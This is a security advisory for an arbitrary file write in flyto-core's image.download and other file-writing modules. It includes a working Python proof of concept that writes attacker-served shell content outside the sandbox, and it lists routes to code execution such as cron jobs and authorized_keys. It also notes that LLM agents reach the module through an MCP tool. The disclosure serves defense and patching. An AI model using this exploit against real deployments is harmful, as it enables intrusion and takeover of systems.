GHSA-2956-977x-2w3r
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Quick fix
GHSA-2956-977x-2w3r — flyto-core: upgrade to the fixed version with the command below.
pip install --upgrade 'flyto-core>=2.26.7' Details
## Summary
`image.download` fetches a URL and writes the response to disk. It does not use the central path guard (`validate_path_with_env_config`, which confines writes to `FLYTO_SANDBOX_DIR`); instead it confines the output to `output_dir`, but `output_dir` is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
## Affected code
`src/core/modules/atomic/image/download.py`:
```python output_path = params.get('output_path') output_dir = params.get('output_dir', '/tmp') # caller-controlled base ... base_real = os.path.realpath(output_dir) target_real = os.path.realpath(output_path) if os.path.commonpath([base_real, target_real]) != base_real: raise Exception('Invalid file path') # base is attacker-chosen, so always passes ... content = await response.read() # attacker-hosted bytes with open(target_real, 'wb') as f: f.write(content) ```
`commonpath` is used correctly, but the base is caller-supplied, so setting `output_dir='/'` passes any target. `file.write`, by contrast, uses `validate_path_with_env_config()` and stays inside `FLYTO_SANDBOX_DIR`.
This is not isolated to `image.download`. Most other file-writing modules write to a caller `output_path` with no path check at all: `image.convert`, `image.resize`, `image.crop`, `image.compress`, `image.rotate`, `image.watermark`, `image.qrcode_generate`, `document.excel_write`, `document.pdf_fill_form`, `document.word_to_pdf`, `document.pdf_to_word` and `browser.pagination`. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; `image.download` is the strongest because the bytes are arbitrary.
## Reproduction
Save as `filewrite_poc.py`, run with `PYTHONPATH=src/src python filewrite_poc.py`. It sets `FLYTO_SANDBOX_DIR` to a sandbox dir and writes to a sibling directory outside it.
```python #!/usr/bin/env python3 import asyncio import os import tempfile import threading from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.send_header("Content-Type", "image/jpeg") self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL) def log_message(self, *a): pass
async def run(mid, params): from core.modules.registry import ModuleRegistry try: return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={})) except Exception as e: return ("EXC", f"{type(e).__name__}: {e}")
async def main(): from core.modules.atomic import register_all register_all() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start() root = tempfile.mkdtemp(prefix="flyto_poc_") sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox) escape = os.path.join(root, "ESCAPE"); os.makedirs(escape) os.environ["FLYTO_SANDBOX_DIR"] = sandbox target = os.path.join(escape, "pwned") # OUTSIDE the sandbox print("A) file.write:", await run("file.write", {"path": target, "content": "x"})) print("B) image.download:", await run("image.download", { "url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target})) print("file written outside sandbox?", os.path.exists(target)) if os.path.exists(target): print("content:", open(target, "rb").read())
if __name__ == "__main__": asyncio.run(main()) ```
Output:
``` A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...') B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...}) file written outside sandbox? True content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n' ```
`file.write` refuses the out-of-sandbox path; `image.download` writes attacker bytes there. Reproduced through the running HTTP API as well.
## Reachability (why this is not operator self-service)
`output_dir`, `output_path` and `url` are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic `execute_module(module_id, params)` MCP tool (`core/mcp_handler.py`, `params` taken from the model's `arguments`) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. `FLYTO_SANDBOX_DIR` and the guard `file.write` uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.
## Impact
Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or `authorized_keys`, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).
## Suggested fix
Use `validate_path_with_env_config()` for every module that writes files, so all writes are confined to `FLYTO_SANDBOX_DIR` (a base the caller cannot change), never to a caller-supplied `output_dir`.
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/flytohub/flyto-core/security/advisories/GHSA-2956-977x-2w3r [WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-67429 [ADVISORY]
- https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc [WEB]
- https://github.com/flytohub/flyto-core [PACKAGE]
- https://github.com/flytohub/flyto-core/releases/tag/v2.26.6 [WEB]